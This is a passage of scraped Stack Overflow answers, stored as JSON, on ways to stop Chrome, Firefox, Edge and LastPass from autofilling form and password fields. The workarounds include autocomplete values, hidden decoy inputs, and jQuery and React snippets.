noreferrer\">https://medium.com/paul-jaworski/turning-off-autocomplete-in-chrome-ee3ff8ef0908</a> - medium\n tested on EDGE, Chrome(latest v63), Firefox Quantum (57.0.4 64-бит), Firefox(52.2.0)\n fake fields are a workaround for chrome/opera autofill getting the wrong fields</p>\n\n<pre><code> const fakeInputStyle = {opacity: 0, float: 'left', border: 'none', height: '0', width: '0'}\n\n &lt;input type=\"password\" name='fake-password' autoComplete='new-password' tabIndex='-1' style={fakeInputSyle} /&gt;\n\n&lt;TextField\n name='userName'\n autoComplete='nope'\n ... \n/&gt;\n\n&lt;TextField\n name='password'\n autoComplete='new-password'\n ... \n /&gt;\n</code></pre>\n" }, { "answer_id": 49079410, "author": "Codemaker", "author_id": 7103882, "author_profile": "https://Stackoverflow.com/users/7103882", "pm_score": 2, "selected": false, "text": "<p>You can use autocomplete = off in input controls to avoid auto completion</p>\n\n<p>For example:</p>\n\n<pre><code>&lt;input type=text name=\"test\" autocomplete=\"off\" /&gt;\n</code></pre>\n\n<p>if the above code doesn't works then try to add those attributes also</p>\n\n<pre><code>autocapitalize=\"off\" autocomplete=\"off\"\n</code></pre>\n\n<p>or </p>\n\n<p>Change input type attribute to <code>type=\"search\"</code>. Google doesn't apply auto-fill to inputs with a type of search.</p>\n" }, { "answer_id": 49376393, "author": "Cava", "author_id": 3845972, "author_profile": "https://Stackoverflow.com/users/3845972", "pm_score": 4, "selected": false, "text": "<p>The best solution:</p>\n\n<p>Prevent autocomplete username (or email) and password: </p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;input type=\"email\" name=\"email\"&gt;&lt;!-- Can be type=\"text\" --&gt;\n&lt;input type=\"password\" name=\"password\" autocomplete=\"new-password\"&gt;\n</code></pre>\n\n<p>Prevent autocomplete a field:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;input type=\"text\" name=\"field\" autocomplete=\"nope\"&gt;\n</code></pre>\n\n<p>Explanation:\n<code>autocomplete</code> continues work in <code>&lt;input&gt;</code>, <code>autocomplete=\"off\"</code> does not work, but you can change <code>off</code> to a random string, like <code>nope</code>.</p>\n\n<p>Works in:</p>\n\n<ul>\n<li><p>Chrome: 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63 and 64</p></li>\n<li><p>Firefox: 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57 and 58</p></li>\n</ul>\n" }, { "answer_id": 49491092, "author": "Edison Augusthy", "author_id": 6781625, "author_profile": "https://Stackoverflow.com/users/6781625", "pm_score": 2, "selected": false, "text": "<p>My solution is Change the text inputs type dynamically using angular js directive\nand it works like charm</p>\n<p>first add 2 hidden text fields</p>\n<p>and just add a angular directive like this</p>\n<pre><code> (function () {\n\n 'use strict';\n\n appname.directive('changePasswordType', directive);\n\n directive.$inject = ['$timeout', '$rootScope', '$cookies'];\n\n function directive($timeout, $rootScope, $cookies) {\n var directive = {\n link: link,\n restrict: 'A'\n };\n\n return directive;\n\n function link(scope,element) {\n var process = function () {\n var elem =element[0];\n elem.value.length &gt; 0 ? element[0].setAttribute(&quot;type&quot;, &quot;password&quot;) :\n element[0].setAttribute(&quot;type&quot;, &quot;text&quot;);\n }\n\n element.bind('input', function () {\n process();\n });\n\n element.bind('keyup', function () {\n process();\n });\n }\n }\n})()\n</code></pre>\n<p>then use it in your text field where you need to prevent auto complete</p>\n<pre><code> &lt;input type=&quot;text&quot; style=&quot;display:none&quot;&gt;\\\\can avoid this 2 lines\n &lt;input type=&quot;password&quot; style=&quot;display:none&quot;&gt;\n &lt;input type=&quot;text&quot; autocomplete=&quot;new-password&quot; change-password-type&gt;\n</code></pre>\n<p>NB: dont forget to include jquery, and set <code>type =&quot;text&quot;</code> initially</p>\n" }, { "answer_id": 49810693, "author": "Julius Žaromskis", "author_id": 5547034, "author_profile": "https://Stackoverflow.com/users/5547034", "pm_score": 3, "selected": false, "text": "<p><strong>No fake inputs, no javascript!</strong></p>\n\n<p>There is no way to disable autofill consistently across browsers. I have tried all the different suggestions and none of them work in all browsers. The only way is not using password input at all. Here's what I came up with:</p>\n\n<pre><code>&lt;style type=\"text/css\"&gt;\n @font-face {\n font-family: 'PasswordDots';\n src: url('text-security-disc.woff') format('woff');\n font-weight: normal;\n font-style: normal;\n }\n\n input.password {\n font-family: 'PasswordDots' !important;\n font-size: 8px !important;\n }\n&lt;/style&gt;\n\n&lt;input class=\"password\" type=\"text\" spellcheck=\"false\" /&gt;\n</code></pre>\n\n<p>Download: <a href=\"https://github.com/noppa/text-security/blob/master/dist/text-security-disc.woff\" rel=\"noreferrer\">text-security-disc.woff</a></p>\n\n<p>Here's how my final result looks like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DQgcq.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/DQgcq.png\" alt=\"Password Mask\"></a></p>\n\n<p>The negative side effect is that it's possible to copy plain text from the input, though it should be possible to prevent that with some JS.</p>\n" }, { "answer_id": 50242926, "author": "user3014373", "author_id": 3014373, "author_profile": "https://Stackoverflow.com/users/3014373", "pm_score": 1, "selected": false, "text": "<p>I was able to stop Chrome 66 from autofilling by adding two fake inputs and giving them position absolute:</p>\n\n<pre><code>&lt;form style=\"position: relative\"&gt;\n &lt;div style=\"position: absolute; top: -999px; left: -999px;\"&gt;\n &lt;input name=\"username\" type=\"text\" /&gt;\n &lt;input name=\"password\" type=\"password\" /&gt;\n &lt;/div&gt;\n &lt;input name=\"username\" type=\"text\" /&gt;\n &lt;input name=\"password\" type=\"password\" /&gt;\n</code></pre>\n\n<p></p>\n\n<p>At first, I tried adding <code>display:none;</code> to the inputs but Chrome ignored them and autofilled the visible ones.</p>\n" }, { "answer_id": 50293264, "author": "gem007bd", "author_id": 1852392, "author_profile": "https://Stackoverflow.com/users/1852392", "pm_score": 2, "selected": false, "text": "<p>To solve this problem, I have used some CSS tricks and the following works for me. </p>\n\n<pre class=\"lang-css prettyprint-override\"><code>input {\n text-security:disc;\n -webkit-text-security:disc;\n -mox-text-security:disc;\n}\n</code></pre>\n\n<p>Please read <a href=\"https://medium.com/@idanhareven/how-to-workaround-browsers-save-password-password-autocomplete-features-135b91ad06d2\" rel=\"noreferrer\">this</a> article for further detail.</p>\n" }, { "answer_id": 50981688, "author": "joeytwiddle", "author_id": 99777, "author_profile": "https://Stackoverflow.com/users/99777", "pm_score": 3, "selected": false, "text": "<p>Google Chrome ignores the <code>autocomplete=\"off\"</code> attribute for certain inputs, including password inputs and common inputs detected by name.</p>\n\n<p>For example, if you have an input with name <code>address</code>, then Chrome will provide autofill suggestions from addresses entered on other sites, <em>even if you tell it not to</em>:</p>\n\n<pre><code>&lt;input type=\"string\" name=\"address\" autocomplete=\"off\"&gt;\n</code></pre>\n\n<p>If you don't want Chrome to do that, then you can rename or namespace the form field's name:</p>\n\n<pre><code>&lt;input type=\"string\" name=\"mysite_addr\" autocomplete=\"off\"&gt;\n</code></pre>\n\n<p>If you don't mind autocompleting values which were previously entered on your site, then you can leave autocomplete enabled. Namespacing the field name should be enough to prevent values remembered from other sites from appearing.</p>\n\n<pre><code>&lt;input type=\"string\" name=\"mysite_addr\" autocomplete=\"on\"&gt;\n</code></pre>\n" }, { "answer_id": 51225857, "author": "NOYB", "author_id": 5145161, "author_profile": "https://Stackoverflow.com/users/5145161", "pm_score": 2, "selected": false, "text": "<p>To prevent browser auto fill with the user's saved site login credentials, place a text and password input field at the top of the form with non empty values and style \"position: absolute; top: -999px; left:-999px\" set to hide the fields.</p>\n\n<pre><code>&lt;form&gt;\n &lt;input type=\"text\" name=\"username_X\" value=\"-\" tabindex=\"-1\" aria-hidden=\"true\" style=\"position: absolute; top: -999px; left:-999px\" /&gt;\n &lt;input type=\"password\" name=\"password_X\" value=\"-\" tabindex=\"-1\" aria-hidden=\"true\" style=\"position: absolute; top: -999px; left:-999px\" /&gt;\n &lt;!-- Place the form elements below here. --&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>It is important that a text field precede the password field. Otherwise the auto fill may not be prevented in some cases. </p>\n\n<p>It is important that the value of both the text and password fields not be empty, to prevent default values from being overwritten in some cases. </p>\n\n<p>It is important that these two fields are before the \"real\" password type field(s) in the form.</p>\n\n<p>For newer browsers that are html 5.3 compliant the autocomplete attribute value \"new-password\" should work.</p>\n\n<pre><code>&lt;form&gt;\n &lt;input type=\"text\" name=\"username\" value=\"\" /&gt;\n &lt;input type=\"password\" name=\"password\" value=\"\" autocomplete=\"new-password\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>A combination of the two methods can be used to support both older and newer browsers.</p>\n\n<pre><code>&lt;form&gt;\n &lt;div style=\"display:none\"&gt;\n &lt;input type=\"text\" readonly tabindex=\"-1\" /&gt;\n &lt;input type=\"password\" readonly tabindex=\"-1\" /&gt;\n &lt;/div&gt;\n &lt;!-- Place the form elements below here. --&gt;\n &lt;input type=\"text\" name=\"username\" value=\"\" /&gt;\n &lt;input type=\"password\" name=\"password\" value=\"\" autocomplete=\"new-password\" /&gt;\n&lt;/form&gt;\n</code></pre>\n" }, { "answer_id": 51686510, "author": "step", "author_id": 5320902, "author_profile": "https://Stackoverflow.com/users/5320902", "pm_score": 6, "selected": false, "text": "<h2>Always working solution</h2>\n<p>I've solved the endless fight with Google Chrome with the use of random characters. When you always render autocomplete with random string, it will never remember anything.</p>\n<pre><code>&lt;input name=&quot;name&quot; type=&quot;text&quot; autocomplete=&quot;rutjfkde&quot;&gt;\n</code></pre>\n<p>Hope that it will help to other people.</p>\n<p><strong>Update 2022:</strong></p>\n<p>Chrome made this improvement: <code>autocomplete=&quot;new-password&quot;</code> which will solve it but I am not sure, if Chrome change it again to different functionality after some time.</p>\n" }, { "answer_id": 53421696, "author": "JoerT", "author_id": 2614920, "author_profile": "https://Stackoverflow.com/users/2614920", "pm_score": 2, "selected": false, "text": "<p>If you want to prevent the common browser plug-in <code>LastPass</code> from auto-filling a field as well, you can add the attribute <code>data-lpignore=\"true\"</code> added to the other suggestions on this thread. Note that this doesn't only apply to password fields. </p>\n\n<pre><code>&lt;input type=\"text\" autocomplete=\"false\" data-lpignore=\"true\" /&gt;\n</code></pre>\n\n<p>I was trying to do this same thing a while back, and was stumped because none of the suggestions I found worked for me. Turned out it was <code>LastPass</code>.</p>\n" }, { "answer_id": 53810055, "author": "zapping", "author_id": 234405, "author_profile": "https://Stackoverflow.com/users/234405", "pm_score": 1, "selected": false, "text": "<p>This worked for me like a charm.</p>\n\n<ol>\n<li>Set the autocomplete attribute of the form to off</li>\n<li>Add a dummy input field and set its attribute also to off.</li>\n</ol>\n\n<blockquote>\n<pre><code>&lt;form autocomplete=\"off\"&gt;\n &lt;input type=\"text\" autocomplete=\"off\" style=\"display:none\"&gt;\n&lt;/form&gt;\n</code></pre>\n</blockquote>\n" }, { "answer_id": 54774273, "author": "Alan M.", "author_id": 199374, "author_profile": "https://Stackoverflow.com/users/199374", "pm_score": 2, "selected": false, "text": "<p>I wanted something that took the field management completely out of the browser's hands, so to speak. In this example, there's a single standard text input field to capture a password — no email, user name, etc...</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;input id='input_password' type='text' autocomplete='off' autofocus&gt;\n</code></pre>\n<p>There's a variable named &quot;input&quot;, set to be an empty string...</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>var input = &quot;&quot;;\n</code></pre>\n<p>The field events are monitored by jQuery...</p>\n<ol>\n<li>On focus, the field content and the associated &quot;input&quot; variable are always cleared.</li>\n<li>On keypress, any alphanumeric character, as well as some defined symbols, are appended to the &quot;input&quot; variable, and the field input is replaced with a bullet character. Additionally, when the <kbd>Enter</kbd> key is pressed, and the typed characters (stored in the &quot;input&quot; variable) are sent to the server via Ajax. (See &quot;Server Details&quot; below.)</li>\n<li>On keyup, the <kbd>Home</kbd>, <kbd>End</kbd>, and <kbd>Arrow</kbd> keys cause the &quot;input&quot; variable and field values to be flushed. (I could have gotten fancy with arrow navigation and the focus event, and used <em>.selectionStart</em> to figure out where the user had clicked or was navigating, but it's not worth the effort for a password field.) Additionally, pressing the <kbd>Backspace</kbd> key truncates both the variable and field content accordingly.</li>\n</ol>\n<hr />\n<pre class=\"lang-javascript prettyprint-override\"><code>$(&quot;#input_password&quot;).off().on(&quot;focus&quot;, function(event) {\n $(this).val(&quot;&quot;);\n input = &quot;&quot;;\n\n}).on(&quot;keypress&quot;, function(event) {\n event.preventDefault();\n\n if (event.key !== &quot;Enter&quot; &amp;&amp; event.key.match(/^[0-9a-z!@#\\$%&amp;*-_]/)) {\n $(this).val( $(this).val() + &quot;•&quot; );\n input += event.key;\n }\n else if (event.key == &quot;Enter&quot;) {\n var params = {};\n params.password = input;\n\n $.post(SERVER_URL, params, function(data, status, ajax) {\n location.reload();\n });\n }\n\n}).on(&quot;keyup&quot;, function(event) {\n var navigationKeys = [&quot;Home&quot;, &quot;End&quot;, &quot;ArrowLeft&quot;, &quot;ArrowRight&quot;, &quot;ArrowUp&quot;, &quot;ArrowDown&quot;];\n if ($.inArray(event.key, navigationKeys) &gt; -1) {\n event.preventDefault();\n $(this).val(&quot;&quot;);\n input = &quot;&quot;;\n }\n else if (event.key == &quot;Backspace&quot;) {\n var length = $(this).val().length - 1 &gt; 0 ? $(this).val().length : 0;\n input = input.substring(0, length);\n }\n});\n</code></pre>\n<hr />\n<p><strong>Front-End Summary</strong></p>\n<p>In essence, this gives the browser nothing useful to capture. Even if it overrides the autocomplete setting, and/or presents a dropdown with previously entered values, all it has is bullets stored for the field value.</p>\n<hr />\n<p><strong>Server Details</strong> (optional reading)</p>\n<p>As shown above, JavaScript executes <em>location.reload()</em> as soon as the server returns a JSON response. (This logon technique is for access to a restricted administration tool. Some of the overkill, related to the cookie content, could be skipped for a more generalized implementation.) Here are the details:</p>\n<ul>\n<li>When a user navigates to the site, the server looks for a legitimate cookie.</li>\n<li>If there isn't any cookie, the logon page is presented. When the user\nenters a password and it is sent via Ajax, the server confirms the password and also checks\nto see if the user's IP address is in an Authorized IP address list.</li>\n<li>If either the password or IP address are not recognized, the server doesn't generate a cookie, so when the page reloads, the user sees the same logon page.</li>\n<li>If both the password and IP address are recognized, the server generates a\ncookie that has a ten-minute life span, and it also stores two scrambled values that correspond with the time-frame and IP address.</li>\n<li>When the page reloads, the server finds the cookie and verifies that\nthe scrambled values are correct (i.e., that the time-frame corresponds with the cookie's date and that the IP address is the same).</li>\n<li>The process of authenticating and updating the cookie is repeated every time the user interacts with the server, whether they are logging in, displaying data, or updating a record.</li>\n<li>If at all times the cookie's values are correct, the server presents the full website (if the user is logging in) or fulfills whatever display or update request was submitted.</li>\n<li>If at any time the cookie's values are not correct, the server removes the current cookie which then, upon reload, causes the logon page to be\nredisplayed.</li>\n</ul>\n" }, { "answer_id": 55762165, "author": "ladone", "author_id": 6396541, "author_profile": "https://Stackoverflow.com/users/6396541", "pm_score": 0, "selected": false, "text": "<p>You can add a name in attribute <code>name</code> how <code>email</code> address to your form and generate an email value. For example:</p>\n<pre><code>&lt;form id=&quot;something-form&quot;&gt;\n &lt;input style=&quot;display: none&quot; name=&quot;email&quot; value=&quot;randomgeneratevalue&quot;&gt;&lt;/input&gt;\n &lt;input type=&quot;password&quot;&gt;\n&lt;/form&gt;\n</code></pre>\n<p>If you use this method, Google Chrome can't insert an autofill password.</p>\n" }, { "answer_id": 57001445, "author": "Pasham Akhil Kumar Reddy", "author_id": 9811422, "author_profile": "https://Stackoverflow.com/users/9811422", "pm_score": 2, "selected": false, "text": "<p>Most of the answers didn't help as the browser was simply ignoring them. (Some of them were not cross-browser compatible). The fix that worked for me is:</p>\n\n<pre><code>&lt;form autocomplete=\"off\"&gt;\n &lt;input type=\"text\" autocomplete=\"new-password\" /&gt;\n &lt;input type=\"password\" autocomplete=\"new-password\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>I set autofill=\"off\" on the form tag and autofill=\"new-password\" wherever the autofill was not necessary.</p>\n" }, { "answer_id": 57086419, "author": "Kishan Vaghela", "author_id": 3758898, "author_profile": "https://Stackoverflow.com/users/3758898", "pm_score": 2, "selected": false, "text": "<h3 id=\"easy-hack-cq6b\">Easy Hack</h3>\n<p>Make input read-only</p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;name&quot; readonly=&quot;readonly&quot;&gt;\n</code></pre>\n<p>Remove read-only after timeout</p>\n<pre><code>$(function() {\n setTimeout(function() {\n $('input[name=&quot;name&quot;]').prop('readonly', false);\n }, 50);\n});\n</code></pre>\n" }, { "answer_id": 57112027, "author": "Lucas", "author_id": 10269663, "author_profile": "https://Stackoverflow.com/users/10269663", "pm_score": 2, "selected": false, "text": "<p>Unfortunately, this option was removed in most browsers, so it is not possible to disable the password hint.</p>\n<p>Until today, I did not find a good solution to work around this problem. What we have left now is to hope that one day this option will come back.</p>\n" }, { "answer_id": 57316325, "author": "Marcelo Agimóvel", "author_id": 7259765, "author_profile": "https://Stackoverflow.com/users/7259765", "pm_score": 1, "selected": false, "text": "<p>I'v solved putting this code after page load:</p>\n\n<pre><code>&lt;script&gt;\nvar randomicAtomic = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);\n $('input[type=text]').attr('autocomplete',randomicAtomic);\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 57872318, "author": "João Victor Scanagatta", "author_id": 9575870, "author_profile": "https://Stackoverflow.com/users/9575870", "pm_score": 2, "selected": false, "text": "<p>I went through the same problem, today 09/10/2019 only solution I found was this</p>\n\n<p>Add autocomplete=\"off\" into the form tag.</p>\n\n<p>put 1 false inputs after opening form tag.</p>\n\n<pre><code>&lt;input id=\"username\" style=\"display:none\" type=\"text\" name=\"fakeusernameremembered\"&gt;\n</code></pre>\n\n<p>but it won't work on password type field, try</p>\n\n<pre><code>&lt;input type=\"text\" oninput=\"turnOnPasswordStyle()\" placeholder=\"Enter Password\" name=\"password\" id=\"password\" required&gt;\n</code></pre>\n\n<p>on script</p>\n\n<pre><code>function turnOnPasswordStyle() {\n $('#password').attr('type', \"password\");\n}\n</code></pre>\n\n<p>This is tested on Chrome-78, IE-44, Firefox-69</p>\n" }, { "answer_id": 58133198, "author": "azizsagi", "author_id": 6060508, "author_profile": "https://Stackoverflow.com/users/6060508", "pm_score": 1, "selected": false, "text": "<p>The simplest answer is</p>\n\n<p><code>&lt;input autocomplete=\"on|off\"&gt;</code></p>\n\n<p>But keep in mind the browser support. Currently, autocomplete attribute is supported by </p>\n\n<p>Chrome 17.0 &amp; latest\nIE 5.0 &amp; latest<br>\nFirefox 4.0 &amp; latest<br>\nSafari 5.2 &amp; latest<br>\nOpera 9.6 &amp; latest</p>\n" }, { "answer_id": 59088192, "author": "xixe", "author_id": 8601222, "author_profile": "https://Stackoverflow.com/users/8601222", "pm_score": 1, "selected": false, "text": "<p>My solution with jQuery.\nIt may not be 100% reliable, but it works for me.\nThe idea is described in code annotations.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> /**\r\n * Prevent fields autofill for fields.\r\n * When focusing on a text field with autocomplete (with values: \"off\", \"none\", \"false\") we replace the value with a new and unique one (here it is - \"off-forced-[TIMESTAMP]\"),\r\n * the browser does not find this type of autocomplete in the saved values and does not offer options.\r\n * Then, to prevent the entered text from being saved in the browser for a our new unique autocomplete, we replace it with the one set earlier when the field loses focus or when user press Enter key.\r\n * @type {{init: *}}\r\n */\r\nvar PreventFieldsAutofill = (function () {\r\n function init () {\r\n events.onPageStart();\r\n }\r\n\r\n var events = {\r\n onPageStart: function () {\r\n $(document).on('focus', 'input[autocomplete=\"off\"], input[autocomplete=\"none\"], input[autocomplete=\"false\"]', function () {\r\n methods.replaceAttrs($(this));\r\n });\r\n $(document).on('blur', 'input[data-prev-autocomplete]', function () {\r\n methods.returnAttrs($(this));\r\n });\r\n $(document).on('keydown', 'input[data-prev-autocomplete]', function (event) {\r\n if (event.keyCode == 13 || event.which == 13) {\r\n methods.returnAttrs($(this));\r\n }\r\n });\r\n $(document).on('submit', 'form', function () {\r\n $(this).find('input[data-prev-autocomplete]').each(function () {\r\n methods.returnAttrs($(this));\r\n });\r\n });\r\n }\r\n };\r\n\r\n var methods = {\r\n /**\r\n * Replace value of autocomplete and name attribute for unique and save the original value to new data attributes\r\n * @param $input\r\n */\r\n replaceAttrs: function ($input) {\r\n var randomString = 'off-forced-' + Date.now();\r\n $input.attr('data-prev-autocomplete', $input.attr('autocomplete'));\r\n $input.attr('autocomplete', randomString);\r\n if ($input.attr('name')) {\r\n $input.attr('data-prev-name', $input.attr('name'));\r\n $input.attr('name', randomString);\r\n }\r\n },\r\n /**\r\n * Restore original autocomplete and name value for prevent saving text in browser for unique value\r\n * @param $input\r\n */\r\n returnAttrs: function ($input) {\r\n $input.attr('autocomplete', $input.attr('data-prev-autocomplete'));\r\n $input.removeAttr('data-prev-autocomplete');\r\n if ($input.attr('data-prev-name')) {\r\n $input.attr('name', $input.attr('data-prev-name'));\r\n $input.removeAttr('data-prev-name');\r\n }\r\n }\r\n };\r\n\r\n return {\r\n init: init\r\n }\r\n})();\r\nPreventFieldsAutofill.init();</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.input {\r\n display: block;\r\n width: 90%;\r\n padding: 6px 12px;\r\n font-size: 14px;\r\n line-height: 1.42857143;\r\n color: #555555;\r\n background-color: #fff;\r\n background-image: none;\r\n border: 1px solid #ccc;\r\n border-radius: 4px;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.0/jquery.min.js\"&gt;&lt;/script&gt;\r\n&lt;form action=\"#\"&gt;\r\n &lt;p&gt;\r\n &lt;label for=\"input-1\"&gt;Firts name without autocomplete&lt;/label&gt;&lt;br /&gt;\r\n &lt;input id=\"input-1\" class=\"input\" type=\"text\" name=\"first-name\" autocomplete=\"off\" placeholder=\"Firts name without autocomplete\" /&gt;\r\n &lt;/p&gt;\r\n &lt;p&gt;\r\n &lt;label for=\"input-2\"&gt;Firts name with autocomplete&lt;/label&gt;&lt;br /&gt;\r\n &lt;input id=\"input-2\" class=\"input\" type=\"text\" name=\"first-name\" autocomplete=\"given-name\" placeholder=\"Firts name with autocomplete\" /&gt;\r\n &lt;/p&gt;\r\n &lt;p&gt;\r\n &lt;button type=\"submit\"&gt;Submit form&lt;/button&gt;\r\n &lt;/p&gt;\r\n&lt;/form&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 59116692, "author": "Sikandar Amla", "author_id": 2335620, "author_profile": "https://Stackoverflow.com/users/2335620", "pm_score": 2, "selected": false, "text": "<p>I tried almost all the answers, but the new version of Chrome is smart; if you write</p>\n<pre><code>autocomplete=&quot;randomstring&quot; or autocomplete=&quot;rutjfkde&quot;\n</code></pre>\n<p>it automatically converts it to</p>\n<pre><code>autocomplete=&quot;off&quot;\n</code></pre>\n<p>when the input control receives the focus.</p>\n<p>So, I did it using jQuery, and my solution is as follows.</p>\n<pre><code>$(&quot;input[type=text], input[type=number], input[type=email], input[type=password]&quot;).focus(function (e) {\n $(this).attr(&quot;autocomplete&quot;, &quot;new-password&quot;);\n})\n</code></pre>\n<p>This is the easiest and will do the trick for any number of controls you have on the form.</p>\n" }, { "answer_id": 59284463, "author": "Azaz ul Haq", "author_id": 1091166, "author_profile": "https://Stackoverflow.com/users/1091166", "pm_score": 2, "selected": false, "text": "<p>As of Dec 2019:</p>\n\n<p>Before answering this question let me say, I tried almost all the answers here on SO and from different forums but couldn't find a solution that works for all modern browsers and IE11.</p>\n\n<p>So here is the solution I found, and I believe it's not yet discussed or mentioned in this post. </p>\n\n<p>According to Mozilla Dev Network(MDN) post about <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">how to turn off form autocomplete</a></p>\n\n<blockquote>\n <p>By default, browsers remember information that the user submits through fields on websites. This enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has started typing in) or autofill (that is, pre-populate certain fields upon load)</p>\n</blockquote>\n\n<p>On same article they discussed the usage of <code>autocmplete</code> property and its limitation. As we know, not all browsers honor this attribute as we desire.</p>\n\n<p><strong>Solution</strong></p>\n\n<p>So at the end of the article they shared a solution that works for all browsers including IE11+Edge. It is basically a jQuery plugin that do the trick.\nHere is the <a href=\"https://terrylinooo.github.io/jquery.disableAutoFill/\" rel=\"nofollow noreferrer\">link</a> to jQuery plugin and how it works.</p>\n\n<p>Code snippet:</p>\n\n<pre><code>$(document).ready(function () { \n $('#frmLogin').disableAutoFill({\n passwordField: '.password'\n });\n});\n</code></pre>\n\n<p>Point to notice in HTML is that password field is of type text and <code>password</code> class is applied to identify that field:</p>\n\n<pre><code>&lt;input id=\"Password\" name=\"Password\" type=\"text\" class=\"form-control password\"&gt;\n</code></pre>\n\n<p>Hope this would help someone.</p>\n" }, { "answer_id": 59787867, "author": "Nagnath Mungade", "author_id": 5987450, "author_profile": "https://Stackoverflow.com/users/5987450", "pm_score": 1, "selected": false, "text": "<p>Simply try to put attribute autocomplete with value \"off\" to input type. </p>\n\n<pre><code>&lt;input type=\"password\" autocomplete=\"off\" name=\"password\" id=\"password\" /&gt;\n</code></pre>\n" }, { "answer_id": 60507431, "author": "Jos", "author_id": 1314824, "author_profile": "https://Stackoverflow.com/users/1314824", "pm_score": 2, "selected": false, "text": "<p>The autofill functionality changes the value without selecting the field. We could use that in our state management to ignore state changes before the select event.</p>\n<p>An example in <a href=\"https://en.wikipedia.org/wiki/React_(web_framework)\" rel=\"nofollow noreferrer\">React</a>:</p>\n<pre><code>import React, {Component} from 'react';\n\nclass NoAutoFillInput extends Component{\n\n constructor() {\n super();\n this.state = {\n locked: true\n }\n }\n\n onChange(event){\n if (!this.state.locked){\n this.props.onChange(event.target.value);\n }\n }\n\n render() {\n let props = {...this.props, ...{onChange: this.onChange.bind(this)}, ...{onSelect: () =&gt; this.setState({locked: false})}};\n return &lt;input {...props}/&gt;;\n }\n}\n\nexport default NoAutoFillInput;\n</code></pre>\n<p>If the browser tries to fill the field, the element is still locked and the state is not affected. Now you can just replace the input field with a NoAutoFillInput component to prevent autofill:</p>\n<pre><code>&lt;div className=&quot;form-group row&quot;&gt;\n &lt;div className=&quot;col-sm-2&quot;&gt;\n &lt;NoAutoFillInput type=&quot;text&quot; name=&quot;myUserName&quot; className=&quot;form-control&quot; placeholder=&quot;Username&quot; value={this.state.userName} onChange={value =&gt; this.setState({userName: value})}/&gt;\n &lt;/div&gt;\n &lt;div className=&quot;col-sm-2&quot;&gt;\n &lt;NoAutoFillInput type=&quot;password&quot; name=&quot;myPassword&quot; className=&quot;form-control&quot; placeholder=&quot;Password&quot; value={this.state.password} onChange={value =&gt; this.setState({password: value})}/&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n<p>Of course, this idea could be used with other JavaScript frameworks as well.</p>\n" }, { "answer_id": 61104423, "author": "Patrick", "author_id": 10010196, "author_profile": "https://Stackoverflow.com/users/10010196", "pm_score": 2, "selected": false, "text": "<p>None of the solutions I've found at this day bring a real working response.</p>\n<p>Solutions with an <code>autocomplete</code> attribute do not work.</p>\n<p>So, this is what I wrote for myself:</p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;UserName&quot; onkeyup=&quot;if (this.value.length &gt; 0) this.setAttribute('type', 'password'); else this.setAttribute('type', 'text');&quot; &gt;\n</code></pre>\n<p>You should do this for every input field you want as a password type on your page.</p>\n<p>And this works.</p>\n<p>cheers</p>\n" }, { "answer_id": 62593263, "author": "prabhat.mishra2812", "author_id": 2017472, "author_profile": "https://Stackoverflow.com/users/2017472", "pm_score": 0, "selected": false, "text": "\n<p>Just <code>autocomplete=&quot;off&quot; list=&quot;autocompleteOff&quot;</code> in your input and work done for IE/Edge! and for chrome add <code>autocomplete=&quot;new password&quot;</code></p>\n" }, { "answer_id": 62808993, "author": "Nerve", "author_id": 1541507, "author_profile": "https://Stackoverflow.com/users/1541507", "pm_score": 2, "selected": false, "text": "<p>There are many answers but most of them are hacks or some kind of workaround.</p>\n<p>There are three cases here.</p>\n<p><strong>Case I:</strong> If this is your standard login form. Turning it off by any means is probably bad. Think hard if you really need to do it. Users are accustomed to browsers remembering and storing the passwords. You shouldn't change that standard behaviour in most cases.</p>\n<p>In case you still want to do it, see <strong>Case III</strong></p>\n<p><strong>Case II:</strong> When this is not your regular login form but <code>name</code> or <code>id</code> attribute of inputs is not &quot;like&quot; email, login, username, user_name, password.</p>\n<p>Use</p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;yoda&quot; autocomplete=&quot;off&quot;&gt;\n</code></pre>\n<p><strong>Case III:</strong> When this is not your regular login form but <code>name</code> or <code>id</code> attribute of inputs is &quot;like&quot; email, login, username, user_name, password.</p>\n<p>For example:\nlogin, abc_login, password, some_password, password_field.</p>\n<p>All browsers come with password management features offering to remember them OR suggesting stronger passwords. That's how they do it.</p>\n<p>However, suppose you are an admin of a site and can create users and set their passwords. In this case you wouldn't want browsers to offer these features.</p>\n<p>In such cases, <code>autocomplete=&quot;off&quot;</code> will not work. Use <code>autocomplete=&quot;new-password&quot;</code></p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;yoda&quot; autocomplete=&quot;new-password&quot;&gt;\n</code></pre>\n<p><strong>Helpful Link:</strong></p>\n<ol>\n<li><a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow 